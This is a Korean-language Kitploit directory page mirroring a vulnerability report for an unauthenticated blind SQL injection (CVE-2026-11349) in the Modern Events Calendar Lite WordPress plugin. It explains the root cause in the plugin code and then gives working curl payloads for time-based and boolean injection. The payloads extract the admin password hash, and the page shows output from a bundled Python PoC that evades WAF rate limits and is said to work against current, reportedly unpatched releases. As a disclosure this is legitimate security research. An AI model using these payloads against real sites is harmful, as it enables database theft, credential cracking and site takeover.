Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — 인증되지 않은 SQL 인젝션 | Kitploit
도구/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — 인증되지 않은 SQL 인젝션

저장소 보기
13개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Modern Events Calendar Lite <= 7.33.0 — 인증되지 않은 SQL 인젝션 (mec_list_load_more의 atts[include] / atts[exclude])

요약

세부 사항값
플러그인Modern Events Calendar Lite
슬러그modern-events-calendar-lite
저자Webnus
영향을 받는 버전<= 7.33.0 (현재 공급업체에서 배포하는 Lite 릴리스). 전체 post-w.org 범위에 걸쳐 버그 존재; 6.5.6 및 7.33.0에서 연구소 확인, 5.21.2에서 정적 확인. 6.5.6 = 마지막 wordpress.org 빌드 (2022-05-11 폐쇄 시점 동결); 7.33.0 = mec.webnus.net에서 배포하는 현재 빌드
활성 설치 수wordpress.org 카운트는 폐쇄 이후 숨겨짐; 역사적으로 100,000+ 이상. 공급업체에 의해 여전히 활발히 배포/업데이트됨 (Lite via mec.webnus.net; 동일한 7.x 코드베이스가 활발히 판매 중인 MEC Pro의 기반)
CWECWE-89 (SQL 인젝션)
취약점인증되지 않은 블라인드 SQL 인젝션 (시간 기반 / 불리언 / 오류 기반)
필요 권한없음 (wp_ajax_nopriv_* — 인증 전)
사용자 상호작용없음
CVSS v3.17.5 (높음) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
상태7.33.0(현재) 및 6.5.6 (WordPress 6.6.5, MariaDB 10.x)에서 엔드 투 엔드 연구소 확인
CVE / GHSACVE-2026-11349

설명

Modern Events Calendar Lite은 이벤트 목록 스킨(list, grid, masonry, agenda, timeline, tile, custom)을 위해 인증되지 않은 admin-ajax.php "load more" 액션 제품군을 등록합니다. 각 핸들러는 공격자가 제어하는 atts 요청 배열을 읽고, sanitize_deep_array()라는 헬퍼를 통해 전달합니다. 이 헬퍼는 기본 인자로 호출될 때 전혀 새니타이제이션을 수행하지 않으며, 그런 다음 atts['include'](및 atts['exclude']) 값을 post_id IN (...) SQL 조각에 원시로 연결하여 $wpdb->get_results()로 실행하며 $wpdb->prepare()는 사용하지 않습니다.

엔트리 포인트가 wp_ajax_nopriv_*에 등록되어 있으므로 인증, 계정, 논스 또는 사용자 상호작용이 필요하지 않습니다. 인증되지 않은 원격 공격자는 wp_mec_dates에 대한 SELECT의 WHERE 절에 임의의 SQL을 주입하고, 블라인드 시간 기반/불리언/오류 기반 기술을 통해 WordPress 데이터베이스의 모든 데이터(사용자 비밀번호 해시, wp_options 비밀/키, 다른 플러그인의 데이터)를 읽을 수 있습니다.


근본 원인

1. 기본 경로에서 전혀 새니타이제이션하지 않는 "새니타이저"

app/libraries/main.php:9607:

root@kitploit:~
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // line 9615
        {
            $sanitized[$key] = $val;   // <-- RAW 통과, 새니타이제이션 없음
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... $excludes가 비어 있지 않을 때만 도달)
    }
    return $sanitized;
}

가드 (is_array($excludes) and !count($excludes))는 함수가 $excludes가 기본 빈 배열일 때 완전한 무효 동작을 하도록 만듭니다 — 모든 값이 그대로 복사됩니다. 의도는 분명히 "제외 목록이 있으면 해당 키를 건너뛰기"였지만, 부울 논리는 제외 목록이 제공되지 않을 때 모든 것을 건너뜁니다.

2. 호출자가 $excludes를 제공하지 않음

app/skins/list.php:499-501 (load_more()):

root@kitploit:~
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // line 501

sanitize_deep_array($_REQUEST['atts'])가 단일 인자로 호출됨 → $excludes가 array()로 기본 설정 → 위의 무효 경로 → $atts는 원시의 신뢰할 수 없는 $_REQUEST['atts']입니다.

3. IN (...) 절에 원시 연결

app/libraries/skins.php:

root@kitploit:~
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

배열 요소가 정수 캐스트나 이스케이프 없이 SQL 문자열에 직접 implode()됩니다. (각 요소에 absint()/(int)를 적용했다면 이 문제가 해결되었을 것입니다.)

4. 준비된 문 없이 실행

app/libraries/db.php:79:

root@kitploit:~
public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // `#__`를 테이블 접두사로만 교체
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // line 87 — prepare() 없음
    // ...
}

완전히 구축된 문자열이 $wpdb->get_results()에 그대로 전달됩니다.

오염 흐름 (요청 → 싱크):

root@kitploit:~
$_REQUEST['atts']                                       (공격자 제어, 인증되지 않음)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (무효 동작: 기본 빈 $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = 원시 atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (prepare 없음)

접근 가능성

app/skins/list.php:51-52:

root@kitploit:~
$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- 인증되지 않음

nopriv 등록으로 엔드포인트가 인증 전에 접근 가능합니다. 동일한 load_more() 형태와 공유되는 skins.php 쿼리 빌더는 형제 스킨에도 존재하며, 각각 자체 wp_ajax_nopriv_* 액션이 있으므로 동일한 인젝션이 다음 중 하나를 통해 접근 가능합니다:

AJAX 액션 (nopriv)스킨 핸들러
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

load_more()에서 논스가 확인되지 않으며, 액션이 페이지에 플러그인 단축 코드가 있을 것을 요구하지 않습니다 — AJAX 핸들러는 init에서 조건 없이 등록됩니다.


개념 증명 (연구소 확인, MEC Lite 6.5.6, WordPress 6.6.5, MariaDB 10.x)

모든 요청은 인증되지 않음(쿠키, 논스 없음). 주입된 값은 atts[include][]에 배치됩니다. 페이로드는 IN ((...) AND (... IN ( 그룹의 두 괄호를 닫고 최상위 OR <sleep>을 추가하여 조건이 스캔된 모든 행에 대해 평가되도록 한 다음, 후행 )) ORDER BY ...를 주석 처리합니다:

root@kitploit:~
TARGET='https://victim.example'          # 일반 영구 링크: admin-ajax.php 직접 사용

# 1) 기준 (주입 없음)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) 시간 기반 증명 — 균형 잡힌 최상위 OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) 실행됨

# 3) 불리언 오라클 (true vs false)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (TRUE)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSE)

# 4) 실제 데이터 추출 (블라인드), 예: 관리자 비밀번호 해시 첫 번째 바이트 == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← TRUE: 관리자 해시가 '$'로 시작 (phpass)

오류 카나리 atts[include][]=0)MEC_SQLI_CANARY에 대해 실행된 정확한 쿼리 (WP_DEBUG_LOG에서 캡처):

root@kitploit:~
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

— 리터럴 토큰 MEC_SQLI_CANARY가 실행된 문에 그대로 나타나며, 원시 연결을 확인합니다. atts[exclude][] 매개변수(skins.php:803 / 603, NOT IN)도 동일하게 주입 가능합니다(연구소 확인: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). 동일한 쿼리 및 주입이 7.33.0(현재 빌드)에서도 재현되었습니다 — 동일한 카나리, 동일한 SLEEP 동작.

자동 PoC

mec-unauth-sqli-poc.py(포함)는 완전히 자체 포함되어 있으며 자격 증명이 필요하지 않습니다: 주입(기준 vs SLEEP)을 확인한 다음, 시간 기반 블라인드 추출을 통해 임의의 데이터(기본: @@version, DB 사용자, 첫 번째 관리자의 user_login:user_pass)를 추출합니다. 각 응답(HTTP 200)을 검증하고 --delay + 백오프를 사용하여 WAF/속도 제한(예: mod_evasive)을 피합니다. 데이터는 수정되지 않습니다(읽기 전용 SELECT 컨텍스트).

root@kitploit:~
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

영향

인증되지 않고, 네트워크 접근 가능하며, 데이터베이스에 대한 완전한 읽기 액세스: wp_users 비밀번호 해시, wp_options(auth_key, API 비밀, 토큰) 및 기타 모든 테이블. 실제로 이는 전체 사이트 장악(오프라인 해시 크래킹, 비밀/세션 도난)으로 이어집니다. 무결성 영향은 제한적입니다 — 주입이 $wpdb->get_results()를 통해 SELECT에서 실행되며, 스택된 쿼리는 허용되지 않음 — 따라서 I:N. 무거운 SLEEP/BENCHMARK는 가용성을 저하시킬 수 있지만, 주요하고 신뢰할 수 있게 입증된 영향은 기밀성(C:H)이며, CVSS 7.5를 부여합니다.


영향을 받는 파일

라인 번호는 7.33.0(현재) 기준이며, 6.5.6(괄호 안)입니다. 코드는 범위 전체에서 동일합니다.

파일라인 (7.33.0 / 6.5.6)문제
app/libraries/main.php11726-11734 / 9607-9619sanitize_deep_array()는 $excludes가 기본 빈 배열일 때 무효 동작(!count($excludes) 가드)
app/skins/list.php535 / 501$_REQUEST에서 읽은 atts를 $excludes 없이 sanitize_deep_array()에 전달 (load_more()에서, 532 / 497)
app/skins/list.php53 / 52wp_ajax_nopriv_mec_list_load_more → 인증되지 않은 엔트리 포인트
app/libraries/skins.php806 / 603-606include / exclude 배열이 post_id IN (...) / NOT IN (...)에 원시 implode()됨 (exclude는 803 / 603)
app/libraries/db.php79-93 (87)MEC_db::select()가 prepare() 없이 $wpdb->get_results() 실행

형제 스킨(grid, masonry, agenda, timeline, tile, custom)도 동일한 load_more() + skins.php 쿼리 빌더를 공유하며 각각 wp_ajax_nopriv_* 액션을 등록 → 동일한 버그, 여러 엔트리 포인트.


이전 Modern Events Calendar SQL 인젝션 CVE와의 차별점

이는 별개이며 이전에 보고되지 않은 인젝션 포인트입니다. 공개적으로 문서화된 모든 MEC SQL 인젝션은 다른 AJAX 액션과 매개변수를 대상으로 하며, 모두 이 발견 이후의 버전에서 패치되었습니다(현재 7.33.0에서 연구소 확인됨):

참조인증AJAX 액션매개변수수정 버전
CVE-2021-24946인증되지 않음mec_load_single_pagetime6.1.5
CVE-2021-4458인증되지 않음*(addslashes/입력 슬래싱이 비활성화된 경우에만)*mec_load_single_pageid6.4.0
CVE-2021-24149인증됨 (작성자+/구독자)mec_fes_formmec[post_id]5.16.6
본 보고서인증되지 않음 (전제 조건 없음)mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more)atts[include][] / atts[exclude][]미패치 (≤ 7.33.0)
  • 다른 코드 경로. 이전의 인증되지 않은 문제는 단일 이벤트 핸들러 mec_load_single_page에 있습니다. 이 문제는 스킨 "load more" 페이지네이션(load_more() → MEC_skin::initialize() → app/libraries/skins.php post_id IN (...) 빌더)에 있으며, sanitize_deep_array()의 무효 기본 분기를 통해 도달합니다. mec_load_single_page 패치는 skins.php를 건드리지 않습니다.
  • 구성 전제 조건 없음. CVE-2021-4458(id)은 PHP/WordPress 입력 슬래싱이 비활성화된 경우에만(기본이 아닌 상태) 악용 가능했습니다. 그 값이 따옴표로 묶인 컨텍스트에 있기 때문입니다. 여기서 atts[include]/atts[exclude] 값은 따옴표 없는 숫자 IN(...) 컨텍스트에 도달하며 괄호 + SQL 키워드(0)) OR SLEEP(3)#)를 사용하여 악용되는데, 이는 wp_magic_quotes()가 무력화하지 못합니다. 따라서 기본 WordPress 설치에서 악용 가능합니다 — 스톡 WP 7.0(매직 쿼리 켜짐)에서 연구소 확인됨.
  • 모든 이전 수정에서 생존. 7.33.0에서 작동 확인됨 — 마지막 mec_load_single_page 패치(6.4.0) 이후 4년 및 주요 버전이 지난 후.

공개 / 범위 참고 사항

Modern Events Calendar Lite는 2022-05-11에 wordpress.org에서 제외되었습니다("이유: 가이드라인 위반"). 따라서 wordpress.org 빌드는 6.5.6에서 동결되었습니다. 이것이 플러그인이 중단되었다는 의미는 아닙니다 — Webnus는 플랫폼 외부에서 개발을 계속했습니다: mec.webnus.net에서 배포되는 현재 Lite 빌드는 7.33.0이며, 취약한 코드 경로는 거기서 바이트 단위로 동일합니다(연구소 확인됨; SQLi는 7.33.0에서 동일하게 작동). 따라서 버그는 제외 이후 범위의 모든 릴리스에 영향을 미치며, 동결된 wordpress.org 복사본뿐만이 아닙니다.

라우팅 영향("wordpress.org에서 폐쇄됨" 이의제기는 처음 보이는 것보다 훨씬 약함):

  • 현재 공급업체가 배포하는 지원되는 제품이며, 중단된 코드가 아닙니다 — Webnus에 대한 조정 공개가 기본 채널이며, 그들은 적극적으로 업데이트를 제공하므로 패치해야 합니다.
  • MEC Pro(활발히 판매 중, 현재 7.x)는 이 동일한 7.x 코드베이스를 기반으로 합니다. app/libraries/skins.php, app/libraries/main.php, app/libraries/db.php는 공유 핵심 라이브러리이므로 Pro는 거의 확실히 영향을 받습니다. 공식적으로 주장하기 전에 Pro 소스에 대해 이를 확인해야 하지만, 공유 라이브러리 아키텍처로 인해 매우 가능성이 높습니다. 확인된 Pro 영향은 발견이 Patchstack(공개 판매 구성 요소)에 대해 명확히 범위 내에 있으며, wordpress.org 목록 상태와 관계없이 MITRE/Patchstack CVE를 받을 가치가 있습니다.
  • wordpress.org 목록에 특히 의존하는 소비자(일부 Wordfence 포상 기준; Patchstack의 "닫힌 구성 요소" 제외 Lite 무료 빌드에 적용됨)의 경우, 동결된 6.5.6 대신 공급업체 배포 7.33.0 + Pro 영향을 인용하십시오.

CVE는 정당합니다: 인증되지 않고, 네트워크 접근 가능하며, 전체 DB 읽기 SQL 인젝션이 현재 공급업체 배포 제품에서 6자리 역사적 설치 기반을 가진 제품에서 발생합니다.


타임라인

날짜이벤트
2026-06-03자동 플러그인 검토 중 발견; MEC Lite 6.5.6(wordpress.org 동결 빌드)에서 엔드 투 엔드(인증되지 않음) 확인
2026-06-047.33.0(mec.webnus.net에서 현재 공급업체 배포 Lite)에서 엔드 투 엔드 재확인; 코드/인젝션이 동일함을 확인 — 발견은 현재이며, 제외 버전 아티팩트가 아님
2026-06-04공급업체 통지(Webnus) + WPScan CVE 요청; MEC Pro가 경로를 공유하는지 확인
2026-06-05취약점 확인 및 CVE 할당
도구 다운로드